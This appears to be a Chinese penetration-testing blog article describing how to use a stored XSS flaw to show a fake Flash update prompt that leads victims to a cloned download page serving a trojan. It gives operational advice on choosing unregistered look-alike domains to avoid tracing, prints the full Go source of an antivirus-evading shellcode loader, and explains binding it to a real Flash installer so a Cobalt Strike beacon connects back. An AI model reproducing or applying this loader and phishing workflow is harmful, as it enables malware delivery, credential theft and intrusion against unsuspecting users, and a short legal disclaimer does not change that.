点击上方蓝字关注我们
0x00 前言
xss弹出flash更新是一种常见的钓鱼手法,本文介绍一下整体思路和部分技术细节。
注意:任何未经授权的渗透都是违法行为,本文仅用于技术讨论,切勿用于违法途径
前期准备
-
服务器及域名
-
flash页面
-
免杀木马
前提条件:目标网站存在存储型xss漏洞或者已经getshell能够修改源码,通过请求你插入的js代码触发flash升级弹窗,跳转到准备好的flash下载界面下载安装,触发木马上线cs。
0x01 服务器及域名
服务器任意注册即可,域名注册及CDN可参考我上篇文章 如何让自己的CobaltStrike服务器隐匿 ,最好选择未备案域名,以防溯源。可以到godaddy或者hostinger注册便宜的域名,可以选择一些与项目相关或者高可信度的域名。
本文中可以选择带有adobe或flash等字符的域名,如下图所示:
建议使用cloudflare的CDN,设置DNS生效后在SSL/TLS中创建证书并下载保存。
在服务器中安装lnmp直接创建vhost主机:
添加证书:
此处选择1选项使用我们自己准备好的SSL证书和key。
回车创建vhost。
0x02 flash钓鱼页面
这一步需要flash的弹窗和网页源码,github上有很多,例如:
弹窗代码:Flash钓鱼弹窗版
网站源码:Xss之Flash钓鱼全套
还有很多其他类似的项目大家可以自己探索,不过现在flash cn网站的样式已经更新了:
为了进一步增加可信度,可以直接扒官网的源码稍作修改就可以了,下载源码的方法这里不再赘述。
将代码上传到网站目录下,重启nginx服务即可访问到钓鱼页面。
0x03 免杀木马
3.1 生成木马
互联网上知名的免杀方案有很多,比如工具免杀:msf自免杀、Veil、Venom,代码免杀:C/C++、C#、python、powershell、go等,大家可以按照免杀效果或各自喜好来进行选择,这里为了方便演示使用go的加载器进行测试。
package main
import (
"encoding/base64"
"fmt"
"os"
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func Run(sc []byte) {
f := func() {}
// Change permissions on f function ptr
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
// Override function ptr
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
// Change permissions on shellcode string data
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
// Call the function ptr it
f()
}
编译生成scloader.exe
3.2 捆绑木马
使用NimFileBinder捆绑木马和flash安装程序
在官网下载nim文件,点击文件夹中的finish.exe程序,会自动安装MingW。
直接编译会报错:
使用nimble install
安装对应的模板即可(需要git)
编译完成后出现nimfilebender.exe文件。
随后即可将免杀好的exe文件和想要捆绑的文件放在nim安装目录下的bin文件夹下。并输入命令Nimfilebender.exe xx.exe xx.exe testkey
即可将文件捆绑。
3.3 测试
将文件改名并上传到服务器web目录下,从网页访问下载测试
点击exe文件,会自动删除exe文件并弹出flash安装程序,且exe文件已经运行并自动保存到c盘windows目录下的temp文件夹。
成功上线!
0x04 总结
以上就是关于xss flash弹窗钓鱼的相关内容,因为时间问题整体步骤比较简陋,后续可以考虑从几个方面进行优化:
-
木马图标修改及签名
-
弹窗逻辑调整
-
cs上线自动收杆
-
...
关于xss 钓鱼还有很多方式,这里只是其中一种,当然也可以利用此方法进行水坑攻击等,这就是各位师傅需要根据项目环境进行改变。文中如有错误,欢迎各位师傅指正!
原文始发于微信公众号(灼剑安全团队):网络攻防|XSS Flash弹窗钓鱼
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论